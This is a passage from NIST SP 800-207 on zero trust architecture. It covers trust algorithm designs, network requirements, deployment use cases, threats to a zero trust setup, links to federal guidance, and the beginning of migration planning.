utilize the data (i.e., those responsible for the mission). • Threat intelligence: This is an information feed or feeds about general threats and active malware operating on the internet. This could also include specific information about communication seen from the device that may be suspect (such as queries for possible malware command and control nodes). These feeds can be external services or internal scans and discoveries and can include attack signatures and mitigations. This is the only component that will most likely be under the control of a service rather than the enterprise. The weight of importance for each data source may be a proprietary algorithm or may be configured by the enterprise. These weight values can be used to reflect the importance of the data source to an enterprise. The final determination is then passed to the PA for execution. The PA’s job is to configure the necessary PEPs to enable authorized communication. Depending on how the ZTA is deployed, this may involve sending authentication results and connection configuration information to gateways and agents or resource portals. PAs may also place a hold or pause on a communication session to reauthenticate and reauthorize the connection in accordance with policy requirements. The PA is also responsible for issuing the command to terminate the connection based on policy (e.g., after a time-out, when the workflow has been completed, due to a security alert). 3.3.1 Trust Algorithm Variations There are different ways to implement a TA. Different implementers may wish to weigh the above factors differently according to the factors’ perceived importance. There are two other major characteristics that can be used to differentiate TAs. The first is how the factors are evaluated, whether as binary decisions or weighted parts of a whole “score” or confidence level. The second is how requests are evaluated in relation to other requests by the same subject, application/service, or device. • Criteria- versus score-based: A criteria-based TA assumes a set of qualified attributes that must be met before access is granted to a resource or an action (e.g., read/write) is allowed. These criteria are configured by the enterprise and should be independently configured for every resource. Access is granted or an action applied to a resource only if all the criteria are met. A score-based TA computes a confidence level based on values for every data source and enterprise-configured weights. If the score is greater than the configured threshold value for the resource, access is granted, or the action is performed. NIST SP 800-207 ZERO TRUST ARCHITECTURE 20 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Otherwise, the request is denied, or access privileges are reduced (e.g., read access is granted but not write access for a file). • Singular versus contextual: A singular TA treats each request individually and does not take the subject history into consideration when making its evaluation. This can allow faster evaluations, but there is a risk that an attack can go undetected if it stays within a subject’s allowed role. A contextual TA takes the subject or network agent’s recent history into consideration when evaluating access requests. This means the PE must maintain some state information on all subjects and applications but may be more likely to detect an attacker using subverted credentials to access information in a pattern that is atypical of what the PE sees for the given subject. This also means that the PE must be informed of user behavior by the PA (and PEPs) that subjects interact with when communicating. Analysis of subject behavior can be used to provide a model of acceptable use, and deviations from this behavior could trigger additional authentication checks or resource request denials. The two factors are not always dependent on each other. It is possible to have a TA that assigns a confidence level to every subject and/or device and still considers every access request independently (i.e., singular). However, contextual, score-based TAs would provide the ability to offer more dynamic and granular access control, since the score provides a current confidence level for the requesting account and adapts to changing factors more quickly than static policies modified by human administrators. Ideally, a ZTA trust algorithm should be contextual, but this may not always be possible with the infrastructure components available to the enterprise. A contextual TA can mitigate threats where an attacker stays close to a “normal” set of access requests for a compromised subject account or insider attack. It is important to balance security, usability, and cost-effectiveness when defining and implementing trust algorithms. Continually prompting a subject for reauthentication against behavior that is consistent with historical trends and norms for their mission function and role within the organization can lead to usability issues. For example, if an employee in the HR department of an agency normally accesses 20 to 30 employee records in a typical workday, a contextual TA may send an alert if the access requests suddenly exceed 100 records in a day. A contextual TA may also send an alert if someone is making access requests after normal business hours as this could be an attacker exfiltrating records by using a compromised HR account. These are examples where a contextual TA can detect an attack whereas a singular TA may fail to detect the new behavior. In another example, an accountant who typically accesses the financial system during normal business hours is now trying to access the system in the middle of the night from an unrecognizable location. A contextual TA may trigger an alert and require the subject to satisfy a more stringent confidence level or other criteria as outlined in NIST Special Publication 800-63A [SP800-63A]. Developing a set of criteria or weights/threshold values for each resource requires planning and testing. Enterprise administrators may encounter issues during the initial implementation of ZTA where access requests that should be approved are denied due to misconfiguration. This will result in an initial “tuning” phase of deployment. Criteria or scoring weights may need to be adjusted to ensure that the policies are enforced while still allowing the enterprise’s business processes to function. How long this tuning phase lasts depends on the enterprise-defined metrics NIST SP 800-207 ZERO TRUST ARCHITECTURE 21 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 for progress and tolerance for incorrect access denials/approvals for the resources used in the workflow. 3.4 Network/Environment Components In a ZT environment, there should be a separation (logical or possibly physical) of the communication flows used to control and configure the network and application/service communication flows used to perform the actual work of the organization. This is often broken down to a control plane for network control communication and a data plane for application/service communication flows [Gilman]. The control plane is used by various infrastructure components (both enterprise-owned and from service providers) to maintain and configure assets; judge, grant, or deny access to resources; and perform any necessary operations to set up communication paths between resources. The data plane is used for actual communication between software components. This communication channel may not be possible before the path has been established via the control plane. For example, the control plane could be used by the PA and PEP to set up the communication path between the subject and the enterprise resource. The application/service workload would then use the data plane path that was established. 3.4.1 Network Requirements to Support ZTA 1. Enterprise assets have basic network connectivity. The local area network (LAN), enterprise controlled or not, provides basic routing and infrastructure (e.g., DNS). The remote enterprise asset may not necessarily use all infrastructure services. 2. The enterprise must be able to distinguish between what assets are owned or managed by the enterprise and the devices’ current security posture. This is determined by enterprise-issued credentials and not using information that cannot be authenticated information (e.g., network MAC addresses that can be spoofed). 3. The enterprise can observe all network traffic. The enterprise records packets seen on the data plane, even if it is not be able to perform application layer inspection (i.e., OSI layer 7) on all packets. The enterprise filters out metadata about the connection (e.g., destination, time, device identity) to dynamically update policies and inform the PE as it evaluates access requests. 4. Enterprise resources should not be reachable without accessing a PEP. Enterprise resources do not accept arbitrary incoming connections from the internet. Resources accept custom-configured connections only after a client has been authenticated and authorized. These communication paths are set up by the PEP. Resources may not even be discoverable without accessing a PEP. This prevents attackers from identifying targets via scanning and/or launching DoS attacks against resources located behind PEPs. Note that not all resources should be hidden this way; some network infrastructure components (e.g., DNS servers) must be accessible. 5. The data plane and control plane are logically separate. The policy engine, policy administrator, and PEPs communicate on a network that is logically separate and not directly accessible by enterprise assets and resources. The data plane is used for NIST SP 800-207 ZERO TRUST ARCHITECTURE 22 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 application/service data traffic. The policy engine, policy administrator, and PEPs use the control plane to communicate and manage communication paths between assets. The PEPs must be able to send and receive messages from both the data and control planes. 6. Enterprise assets can reach the PEP component. Enterprise subjects must be able to access the PEP component to gain access to resources. This could take the form of a web portal, network device, or software agent on the enterprise asset that enables the connection. 7. The PEP is the only component that accesses the policy administrator as part of a business flow. Each PEP operating on the enterprise network has a connection to the policy administrator to establish communication paths from clients to resources. All enterprise business process traffic passes through one or more PEPs. 8. Remote enterprise assets should be able to access enterprise resources without needing to traverse enterprise network infrastructure first. For example, a remote subject should not be required to use a link back to the enterprise network (i.e., virtual private network [VPN]) to access services utilized by the enterprise and hosted by a public cloud provider (e.g., email). 9. The infrastructure used to support the ZTA access decision process should be made scalable to account for changes in process load. The PE(s), PA(s), and PEPs used in a ZTA become the key components in any business process. Delay or inability to reach a PEP (or inability of the PEPs to reach the PA/PE) negatively impacts the ability to perform the workflow. An enterprise implementing a ZTA needs to provision the components for the expected workload or be able to rapidly scale the infrastructure to handle increased usage when needed. 10. Enterprise assets may not be able to reach certain PEPs due to policy or observable factors. For example, there may be a policy stating that mobile assets may not be able to reach certain resources if the requesting asset is located outside of the enterprise’s home country. These factors could be based on location (geolocation or network location), device type, or other criteria. NIST SP 800-207 ZERO TRUST ARCHITECTURE 23 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 4 Deployment Scenarios/Use Cases Any enterprise environment can be designed with zero trust tenets in mind. Most organizations already have some elements of zero trust in their enterprise infrastructure or are on their way through implementation of information security and resiliency policies and best practices. Several deployment scenarios and use cases lend themselves readily to a zero trust architecture. For instance, ZTA has its roots in organizations that are geographically distributed and/or have a highly mobile workforce. That said, any organization can benefit from a zero trust architecture. In the use cases below, ZTA is not explicitly indicated since the enterprise likely has both perimeter-based and possibly ZTA infrastructures. As discussed in Section 7.2, there will likely be a period when ZTA components and perimeter-based network infrastructure are concurrently in operation in an enterprise. 4.1 Enterprise with Satellite Facilities The most common scenario involves an enterprise with a single headquarters and one or more geographically dispersed locations that are not joined by an enterprise-owned physical network connection (see Figure 8). Employees at the remote location may not have a full enterprise- owned local network but still need to access enterprise resources to perform their tasks. The enterprise may have a Multiprotocol Label Switch (MPLS) link to the enterprise HQ network but may not have adequate bandwidth for all traffic or may not wish for traffic destined for cloud- based applications/services to traverse through the enterprise HQ network. Likewise, employees may be teleworking or in a remote location and using enterprise-owned or personally-owned devices. In such cases, an enterprise may wish to grant access to some resources (e.g., employee calendar, email) but deny access or restrict actions to more sensitive resources (e.g., HR database). In this use case, the PE/PA(s) is often hosted as a cloud service (which usually provides superior availability and would not require remote workers to rely on enterprise infrastructure to access cloud resources) with end assets having an installed agent (see Section 3.2.1) or accessing a resource portal (see Section 3.2.3). It may not be most responsive to have the PE/PA(s) hosted on the enterprise local network as remote offices and workers must send all traffic back to the enterprise network to reach applications/services hosted by cloud services. NIST SP 800-207 ZERO TRUST ARCHITECTURE 24 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Figure 8: Enterprise with Remote Employees 4.2 Multi-cloud/Cloud-to-Cloud Enterprise One increasingly common use case for deploying a ZTA is an enterprise utilizing multiple cloud providers (see Figure 9). In this use case, the enterprise has a local network but uses two or more cloud service providers to host applications/services and data. Sometimes, the application/service is hosted on a cloud service that is separate from the data source. For performance and ease of management, the application hosted in Cloud Provider A should be able to connect directly to the data source hosted in Cloud Provider B rather than force the application to tunnel back through the enterprise network. Figure 9: Multi-cloud Use Case This use case is the server-server implementation of the CSA’s software defined perimeter (SDP) specification [CSA-SDP]. As enterprises move to more cloud-hosted applications and services, it becomes apparent that relying on the enterprise perimeter for security becomes a liability. As discussed in Section 2.2, ZT principles take the view that there should be no difference between enterprise-owned and -operated network infrastructure and infrastructure owned and operated by any other service provider. The zero trust approach to multi-cloud use is to place PEPs at the NIST SP 800-207 ZERO TRUST ARCHITECTURE 25 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 access points of each application/service and data source. The PE and PA may be services located in either cloud or even on a third cloud provider. The client (via a portal or local installed agent) then accesses the PEPs directly. That way, the enterprise can still manage access to resources even when hosted outside the enterprise. One challenge is that different cloud providers have unique ways of implementing similar functionality. Enterprise architects will need to be aware of the how to implement their enterprise ZTA with each cloud provider they utilize. 4.3 Enterprise with Contracted Services and/or Nonemployee Access Another common scenario is an enterprise that includes on-site visitors and/or contracted service providers that require limited access to enterprise resources to do their work (see Figure 10). For example, an enterprise has its own internal applications/services, databases, and assets. These include services contracted out to providers who may occasionally be on-site to provide maintenance (e.g., smart heating and lighting systems that are owned and managed by external providers). These visitors and service providers will need network connectivity to perform their tasks. A zero trust enterprise could facilitate this by allowing these devices and any visiting service technician access to the internet while obscuring enterprise resources. Figure 10: Enterprise with Nonemployee Access In this example, the organization also has a conference center where visitors interact with employees. Again, with a ZTA approach of SDPs, employee devices and subjects are differentiated and may be able to access appropriate enterprise resources. Visitors to the campus can have internet access but cannot access enterprise resources. They may not even be able to NIST SP 800-207 ZERO TRUST ARCHITECTURE 26 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 discover enterprise services via network scans (i.e., prevent active network reconnaissance/east- west movement). In this use case, the PE(s) and PA(s) could be hosted as a cloud service or on the LAN (assuming little or no use of cloud-hosted services). The enterprise assets could have an installed agent (see Section 3.2.1) or access resources via a portal (see Section 3.2.3). The PA(s) ensures that all nonenterprise assets (those that do not have installed agents or cannot connect to a portal) cannot access local resources but may access the internet. 4.4 Collaboration Across Enterprise Boundaries A fourth use case is cross-enterprise collaboration. For example, there is a project involving employees from Enterprise A and Enterprise B (see Figure 11). The two enterprises may be separate federal agencies (G2G) or even a federal agency and a private enterprise (G2B). Enterprise A operates the database used for the project but must allow access to the data for certain members of Enterprise B. Enterprise A can set up specialized accounts for the employees of Enterprise B to access the required data and deny access to all other resources, but this can quickly become difficult to manage. Having both organizations enrolled in a federated ID management system would allow quicker establishment of these relationships provided that both organizations’ PEPs can authenticate subjects in a federated ID community. Figure 11: Cross-Enterprise Collaboration This scenario can be similar to Use Case 1 (Section 4.1) as employees of both enterprises may not be located on their organizations’ network infrastructures, and the resource they need to access may be within one enterprise environment or hosted in the cloud. This means that there do not need to be complex firewall rules or enterprise-wide access control lists (ACLs) allowing certain IP addresses belonging to Enterprise B to access resources in Enterprise A based on Enterprise A’s access policies. How this access is accomplished depends on the technology in use. Similar to Use Case 1, a PE and PA hosted as a cloud service may provide availability to all parties without having to establish a VPN or similar. The employees of Enterprise B may be asked to install a software agent on their asset or access the necessary data resources through a web gateway (see Section 3.2.3). NIST SP 800-207 ZERO TRUST ARCHITECTURE 27 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 4.5 Enterprise with Public- or Customer-Facing Services A common feature in many enterprises is a public-facing service that may or may not include user registration (i.e., users must create or have been issued a set of login credentials). Such services could be for the general public, a set of customers with an existing business relationship, or a special set of nonenterprise users such as employee dependents. In all cases, it is likely that requesting assets are not enterprise-owned, and the enterprise is constrained as to what internal cybersecurity polices can be enforced. For a general, public-facing resource that does not require login credentials to access (e.g., public web page), the tenets of ZTA do not directly apply. The enterprise cannot strictly control the state of requesting assets, and anonymous public resources (e.g., a public web page) do not require credentials in order to be accessed. Enterprises may establish policies for registered public users such as customers (i.e., those with a business relationship) and special users (e.g., employee dependents). If the users are required to produce or are issued credentials, the enterprise may institute policies regarding password length, life cycle, and other details and may provide MFA as an option or requirement. However, enterprises are limited in the policies they can implement for this class of user. Information about incoming requests may be useful in determining the state of the public service and detecting possible attacks masquerading as legitimate users. For example, a registered user portal is known to be accessed by registered customers using one of a set of common web browsers. A sudden increase in access requests from unknown browser types or known outdated versions could indicate an automated attack of some kind, and the enterprise could take steps to limit requests from these identified clients. The enterprise should also be aware of any statutes or regulations regarding what information can be collected and recorded about the requesting users and assets. NIST SP 800-207 ZERO TRUST ARCHITECTURE 28 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 5 Threats Associated with Zero Trust Architecture No enterprise can eliminate cybersecurity risk. When complemented with existing cybersecurity policies and guidance, identity and access management, continuous monitoring, and general cyber hygiene, a properly implemented and maintained ZTA can reduce overall risk and protect against common threats. However, some threats have unique features when implementing a ZTA. 5.1 Subversion of ZTA Decision Process In ZTA, the policy engine and policy administrator are the key components of the entire enterprise. No communication between enterprise resources occurs unless it is approved and possibly configured by the PE and PA. This means that these components must be properly configured and maintained. Any enterprise administrator with configuration access to the PE’s rules may be able to perform unapproved changes or make mistakes that can disrupt enterprise operations. Likewise, a compromised PA could allow access to resources that would otherwise not be approved (e.g., to a subverted, personally-owned device). Mitigating associated risks means the PE and PA components must be properly configured and monitored, and any configuration changes must be logged and subject to audit. 5.2 Denial-of-Service or Network Disruption In ZTA, the PA is the key component for resource access. Enterprise resources cannot connect to each other without the PA’s permission and, possibly, configuration action. If an attacker disrupts or denies access to the PEP(s) or PE/PA (i.e., DoS attack or route hijack), it can adversely impact enterprise operations. Enterprises can mitigate this threat by having the policy enforcement reside in a properly secured cloud environment or be replicated in several locations following guidance on cyber resiliency [SP 800-160v2]. This mitigates the risk but does not eliminate it. Botnets such as Mirai produce massive DoS attacks against key internet service providers and disrupt service to millions of internet users.5 It is also possible that an attacker could intercept and block traffic to a PEP or PA from a portion or all of the user accounts within an enterprise (e.g., a branch office or even a single remote employee). In such cases, only a portion of enterprise subjects is affected. This is also possible in legacy remote-access VPNs and is not unique to ZTA. A hosting provider may also accidentally take a cloud-based PE or PA offline. Cloud services have experienced disruptions in the past, both infrastructure as a service (IaaS)6 and SaaS.7 An operational error could prevent an entire enterprise from functioning if the policy engine or policy administrator component becomes inaccessible from the network. 5 https://blog.cloudflare.com/inside-mirai-the-infamous-iot-botnet-a-retrospective-analysis/ 6 https://aws.amazon.com/message/41926/ 7 https://www.nzherald.co.nz/business/news/article.cfm?c_id=3&objectid=12286870 NIST SP 800-207 ZERO TRUST ARCHITECTURE 29 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 There is also the risk that enterprise resources may not be reachable from the PA, so even if access is granted to a subject, the PA cannot configure the communication path from the network. This could happen due to a DDoS attack or simply due to unexpected heavy usage. This is similar to any other network disruption in that some or all enterprise subjects cannot access a particular resource due to that resource not being available for some reason. 5.3 Stolen Credentials/Insider Threat Properly implemented ZT, information security and resiliency policies, and best practices reduce the risk of an attacker gaining broad access via stolen credentials or insider attack. The ZT principle of no implicit trust based on network location means attackers need to compromise an existing account or device to gain a foothold in an enterprise. A properly developed and implemented ZTA should prevent a compromised account or asset from accessing resources outside its normal purview or access patterns. This means that accounts with access policies around resources that an attacker is interested in would be the primary targets for attackers. Attackers may use phishing, social engineering, or a combination of attacks to obtain credentials of valuable accounts. “Valuable” may mean different things based on the attacker’s motivation. For instance, enterprise administrator accounts may be valuable, but attackers interested in financial gain may consider accounts that have access to financial or payment resources of equal value. Implementation of MFA for access requests may reduce the risk of information loss from a compromised account. However, an attacker with valid credentials (or a malicious insider) may still be able to access resources for which the account has been granted access. For example, an attacker or compromised employee who has the credentials and enterprise-owned asset of a valid human resources employee may still be able to access an employee database. ZTA reduces risk and prevents any compromised accounts or assets from moving laterally throughout the network. If the compromised credentials are not authorized to access a particular resource, they will continue to be denied access to that resource. In addition, a contextual trust algorithm (see Section 3.3.1) is more likely to detect and respond quickly to this attack than when occurring in a legacy, perimeter-based network. The contextual TA can detect access patterns that are out of normal behavior and deny the compromised account or insider threat access to sensitive resources. 5.4 Visibility on the Network As mentioned in Section 3.4.1, all traffic is inspected and logged on the network and analyzed to identify and react to potential attacks against the enterprise. However, as also mentioned, some (possibly the majority) of the traffic on the enterprise network may be opaque to layer 3 network analysis tools. This traffic may originate from nonenterprise-owned assets (e.g., contracted services that use the enterprise infrastructure to access the internet) or applications/services that are resistant to passive monitoring. The enterprise that cannot perform deep packet inspection or examine the encrypted traffic and must use other methods to assess a possible attacker on the network. That does not mean that the enterprise is unable to analyze encrypted traffic that it sees on the network. The enterprise can collect metadata (e.g., source and destination addresses, etc.) about NIST SP 800-207 ZERO TRUST ARCHITECTURE 30 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 the encrypted traffic and use that to detect an active attacker or possible malware communicating on the network. Machine learning techniques [Anderson] can be used to analyze traffic that cannot be decrypted and examined. Employing this type of machine learning would allow the enterprise to categorize traffic as valid or possibly malicious and subject to remediation. 5.5 Storage of System and Network Information A related threat to enterprise monitoring and analysis of network traffic is the analysis component itself. If monitor scans, network traffic, and metadata are being stored for building contextual policies, forensics, or later analysis, that data becomes a target for attackers. Just like network diagrams, configuration files, and other assorted network architecture documents, these resources should be protected. If an attacker can successfully gain access to this information, they may be able to gain insight into the enterprise architecture and identify assets for further reconnaissance and attack. Another source of reconnaissance information for an attacker in a ZT enterprise is the management tool used to encode access policies. Like stored traffic, this component contains access policies to resources and can give an attacker information on which accounts are most valuable to compromise (e.g., the ones that have access to the desired data resources). As for all valuable enterprise data, adequate protections should be in place to prevent unauthorized access and access attempts. As these resources are vital to security, they should have the most restrictive access policies and be accessible only from designated or dedicated administrator accounts. 5.6 Reliance on Proprietary Data Formats or Solutions ZTA relies on several different data sources to make access decisions, including information about the requesting subject, asset used, enterprise and external intelligence, and threat analysis. Often, the assets used to store and process this information do not have a common, open standard on how to interact and exchange information. This can lead to instances where an enterprise is locked into a subset of providers due to interoperability issues. If one provider has a security issue or disruption, an enterprise may not be able to migrate to a new provider without extreme cost (e.g., replacing several assets) or going through a long transition program (e.g., translating policy rules from one proprietary format to another). Like DoS attacks, this risk is not unique to ZTA, but because ZTA is heavily dependent on the dynamic access of information (both enterprise and service providers), disruption can affect the core business functions of an enterprise. To mitigate associated risks, enterprises should evaluate service providers on a holistic basis by considering factors such as vendor security controls, enterprise switching costs, and supply chain risk management in addition to more typical factors such as performance, stability, etc. 5.7 Use of Non-person Entities (NPE) in ZTA Administration Artificial intelligence and other software-based agents are being deployed to manage security issues on enterprise networks. These components need to interact with the management components of ZTA (e.g., policy engine, policy administrator), sometimes in lieu of a human administrator. How these components authenticate themselves in an enterprise implementing a NIST SP 800-207 ZERO TRUST ARCHITECTURE 31 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 ZTA is an open issue. It is assumed that most automated technology systems will use some means to authenticate when using an API to resource components. The biggest risk when using automated technology for configuration and policy enforcement is the possibility of false positives (innocuous actions mistaken for attacks) and false negatives (attacks mistaken for normal activity) impacting the security posture of the enterprise. This can be reduced with regular retuning analysis to correct mistaken decisions and improve the decision process. The associated risk is that an attacker will be able to induce or coerce an NPE to perform some task that the attacker is not privileged to perform. The software agent may have a lower bar for authentication (e.g., API key versus MFA) to perform administrative or security-related tasks compared with a human user. If an attacker can interact with the agent, they could theoretically trick the agent into allowing the attacker greater access or into performing some task on behalf of the attacker. There is also a risk that an attacker could gain access to a software agent’s credentials and impersonate the agent when performing tasks. NIST SP 800-207 ZERO TRUST ARCHITECTURE 32 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 6 Zero Trust Architecture and Possible Interactions with Existing Federal Guidance Several existing federal policies and guidance intersect with the planning, deployment, and operation of a ZTA. These policies do not prohibit an enterprise from moving to a more zero trust-oriented architecture but can influence development of a zero trust strategy for an agency. When complemented with existing cybersecurity policies and guidance, ICAM, continuous monitoring, and general cyber hygiene, ZTA may reinforce an organization’s security posture and protect against common threats. 6.1 ZTA and NIST Risk Management Framework A ZTA deployment involves developing access polices around acceptable risk to the designated mission or business process (see Section 7.3.3). It is possible to deny all network access to a resource and allow access only via a connected terminal, but this is disproportionately restrictive in the majority of cases and could inhibit work from being accomplished. For a federal agency to perform its mission, there is an acceptable level of risk. The risks associated with performing the given mission must be identified and evaluated, and either accepted or mitigated. To assist in this, the NIST Risk Management Framework (RMF) was developed [SP800-37]. ZTA planning and implementation may change the authorization boundaries defined by the enterprise. This is due to the addition of new components (e.g., policy engine, policy administrator, and PEPs) and a reduction of reliance on network perimeter defenses. The overall process described in the RMF will not change in a ZTA. 6.2 Zero Trust and NIST Privacy Framework Protecting the privacy of users and private information (e.g., personally identifiable information) is a prime concern for organizations. Privacy and data protections are included in compliance programs such as FISMA and the Heath Insurance Portability and Accountability Act (HIPAA). In response, NIST produced a Privacy Framework for use by organizations [NISTPRIV]. This document provides a framework to describe privacy risks and mitigation strategies, as well as a process for an enterprise to identify, measure, and mitigate risks to user privacy and private information stored and processed by an organization. This includes personal information used by the enterprise to support ZTA operations and any biometric attributes used in access request evaluations. Part of the core requirements for ZT is that an enterprise should inspect and log traffic (or at least log and inspect metadata when dealing with traffic that cannot be decrypted by monitoring systems) in its environment. Some of this traffic may contain private information or have associated privacy risks. Organizations will need to identify any possible risks associated with intercepting, scanning, and logging network traffic [NISTIR 8062]. This may include actions such as informing users, obtaining consent (via a login page, banner, or similar), and educating enterprise users. The NIST Privacy Framework [NISTPRIV] could help in developing a formal process to identify and mitigate any privacy-related risks to an enterprise developing a zero trust architecture. NIST SP 800-207 ZERO TRUST ARCHITECTURE 33 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 6.3 ZTA and Federal Identity, Credential, and Access Management Architecture Subject provisioning is a key component of ZTA. The policy engine cannot determine if attempted connections are authorized to connect to a resource if the PE has insufficient information to identify associated subjects and resources. Strong subject provision and authentication policies need to be in place before moving to a more zero trust–aligned deployment. Enterprises need a clear set of subject attributes and policies that can be used by a PE to evaluate access requests. The Office of Management and Budget (OMB) issued M-19-17 on improving identity management for the Federal Government. The goal of the policy is to develop “…a common vision for identity as an enabler of mission delivery, trust, and safety of the Nation” [M-19-17]. The memo calls on all federal agencies to form an ICAM office to govern efforts related to identity issuance and management. Many of these management policies should use the recommendations in NIST SP 800-63-3, Digital Identity Guidelines [SP800-63]. As ZTA is heavily dependent on precise identity management, any ZTA effort will need to integrate the agency’s ICAM policy. 6.4 ZTA and Trusted Internet Connections 3.0 TIC is a federal cybersecurity initiative jointly managed by OMB, DHS, and the General Services Administration (GSA), and is intended to establish a network security baseline across the Federal Government. Historically, TIC was a perimeter-based cybersecurity strategy which required agencies to consolidate and monitor their external network connections. Inherent in TIC 1.0 and TIC 2.0 is the assumption that the inside of the perimeter is “trusted,” whereas ZTA assumes that network location does not infer “trust” (i.e., there is no “trust” on an agency’s internal network). TIC 2.0 provides a list of network-based security capabilities (e.g. content filtering, monitoring, authentication, and others) to be deployed at the TIC Access Point at the agency’s perimeter; many of these capabilities are aligned with ZT principles. TIC 3.0 has been updated to accommodate cloud services and mobile devices [M-19-26]. In TIC 3.0, it is recognized that the definition of “trust” may vary across specific computing contexts and that agencies have different risk tolerances for defining trust zones. In addition, TIC 3.0 has an updated TIC Security Capability Handbook, which defines two types of security capabilities: (1) Universal Security Capabilities that apply at the enterprise level, and (2) PEP Security Capabilities that are network-level capabilities to be applied to multiple policy enforcement points (PEPs), as defined in TIC use cases. The PEP Security Capabilities may be applied at any appropriate PEP located along a given data flow instead of at a single PEP at the agency perimeter. Many of these TIC 3.0 security capabilities directly support ZTA (e.g., encrypted traffic, strong authentication, microsegmentation, network and system inventory, and others). TIC 3.0 defines specific use cases that describe the implementation of trust zones and security capabilities across specific applications, services, and environments. TIC 3.0 is focused on network-based security protections, whereas ZTA is a more inclusive architecture addressing application, user, and data protections. As TIC 3.0 evolves its use cases, it is likely that a ZTA TIC use case will be developed to define the network protections to be deployed at ZTA enforcement points. NIST SP 800-207 ZERO TRUST ARCHITECTURE 34 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 6.5 ZTA and EINSTEIN (NCPS – National Cybersecurity Protection System) NCPS (operationally known as EINSTEIN) is an integrated system-of-systems that delivers intrusion detection, advanced analytics, information sharing, and intrusion prevention capabilities to defend the Federal Government from cyber threats. The goals of NCPS, which align with the overarching goals of zero trust, are to manage cyber risk, improve cyber protection, and empower partners to secure cyber space. EINSTEIN sensors enable CISA’s National Cybersecurity and Communications Integration Center (NCCIC) to defend federal networks and respond to significant incidents at federal agencies. The placement of NCPS sensors for DHS situational awareness is based on a perimeter network defense in the Federal Government, while ZTA moves protections closer to the assets, data and all other resources. The NCPS program is evolving to ensure that situational awareness is preserved through utilization of security information about cloud-based traffic, helping to set the foundation for expanded situational awareness telemetry from ZTA systems. NCPS intrusion prevention functions would also require evolution to be able to inform policy enforcement at both the current NCPS locations as well as ZTA systems. As ZTA is adopted across the Federal Government, the NCPS implementation would need to continually evolve, or new capabilities would need to be deployed to fulfill NCPS objectives. Incident responders could potentially leverage information from the authentication, traffic inspection, and logging of agency traffic available to federal agencies that have implemented a zero trust architecture. Information generated in a ZTA may better inform event impact quantification; machine learning tools could use ZTA data to improve detection; and additional logs from ZTA may be saved for after-the- fact analyses by incident responders. 6.6 ZTA and DHS Continuous Diagnostics and Mitigations (CDM) Program The DHS CDM program is an effort to improve federal agency information technology (IT). Vital to that posture is an agency’s insight into the assets, configuration, and subjects within itself. To protect a system, agencies need to set up processes to discover and understand the basic components and actors in their infrastructure: • What is connected? What devices, applications, and services are used by the organization? This includes observing and improving the security posture of these artifacts as vulnerabilities and threats are discovered. • Who is using the network? What users are part of the organization or are external and allowed to access enterprise resources? These include NPEs that may be performing autonomous actions. • What is happening on the network? An enterprise needs insight into traffic patterns and messages between systems. • How is data protected? The enterprise needs a set policy on how information is protected at rest, in transit, and in use. Having a strong CDM program implementation is key to the success of ZTA. For example, to move to ZTA, an enterprise must have a system to discover and record physical and virtual assets to create a usable inventory. The DHS CDM program has initiated several efforts to build the capabilities needed within federal agencies to move to a ZTA. For example, the DHS NIST SP 800-207 ZERO TRUST ARCHITECTURE 35 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 Hardware Asset Management (HWAM) [HWAM] program is an effort to help agencies identify devices on their network infrastructure to deploy a secure configuration. This is similar to the first steps in developing a road map to ZTA. Agencies must have visibility into the assets active on the network (or those accessing resources remotely) to categorize, configure, and monitor the network’s activity. 6.7 ZTA, Cloud Smart, and the Federal Data Strategy The Cloud Smart8 strategy, updated Data Center Optimization Initiative [M-19-19] policy, and Federal Data Strategy9 all influence some requirements for agencies planning a ZTA. These policies require agencies to inventory and assess how they collect, store, and access data, both on premises and in the cloud. This inventory is critical to determining what business processes and resources would benefit from implementing a ZTA. Data resources and applications and services that are primarily cloud- based or primarily used by remote workers are good candidates for a ZTA approach (see Section 7.3.3) because the subjects and resources are located outside of the enterprise network perimeter and are likely to see the most benefit in use, scalability, and security. One additional consideration with the Federal Data Strategy is how to make agency data assets accessible to other agencies or the public. This corresponds with the cross-enterprise collaboration ZTA use case (see Section 4.4). Agencies using a ZTA for these assets may need to take collaboration or publication requirements into account when developing the strategy. 8 Federal Cloud Computing Strategy: https://cloud.cio.gov/strategy/ 9 Federal Data Strategy: https://strategy.data.gov/ NIST SP 800-207 ZERO TRUST ARCHITECTURE 36 This publication is available free of charge from: https://doi.org/10.6028/NIST.SP.800-207 7 Migrating to a Zero Trust Architecture Implementing a ZTA is a journey rather than a wholesale replacement of infrastructure or processes. An organization should seek to incrementally implement zero trust principles, process changes, and technology solutions that protect its highest value data assets. Most enterprises will continue to operate in a hybrid zero-trust/perimeter-based mode for an indefinite period while continuing to invest in ongoing IT modernization initiatives. Having an IT modernization plan that includes moving to an architecture based on ZT principles may help an enterprise form roadmaps for small scale workflow migrations. How an enterprise migrates to a strategy depends on its current cybersecurity posture and operations. An enterprise should reach a baseline of competence before it becomes possible to deploy a significant ZT-focused environment [ACT-IAC]. This baseline includes having assets, subjects, business processes, traffic flows and dependency mappings identified and cataloged for the enterprise. The enterprise needs this information before it can develop a list of candidate business processes and the subjects/assets involved in this process. 7.1 Pure Zero Trust Architecture In a greenfield approach, it would be possible to build a zero trust architecture from the ground up. Assuming the enterprise knows the applications/services and workflows that it wants to use for its operations, it can produce an architecture based on zero trust tenets for those workflows. Once the workflows are identified, the enterprise can narrow down the components needed and begin to map how the individual components interact. From that point, it is an engineering and organizational exercise in building the infrastructure and configuring the components. This may include additional organizational changes depending on how the enterprise is currently set up and operating. In practice, this is rarely a viable option for federal agencies or any organization with an existing network. However, there may be times when an organization is asked to fulfill a new responsibility that would require building its own 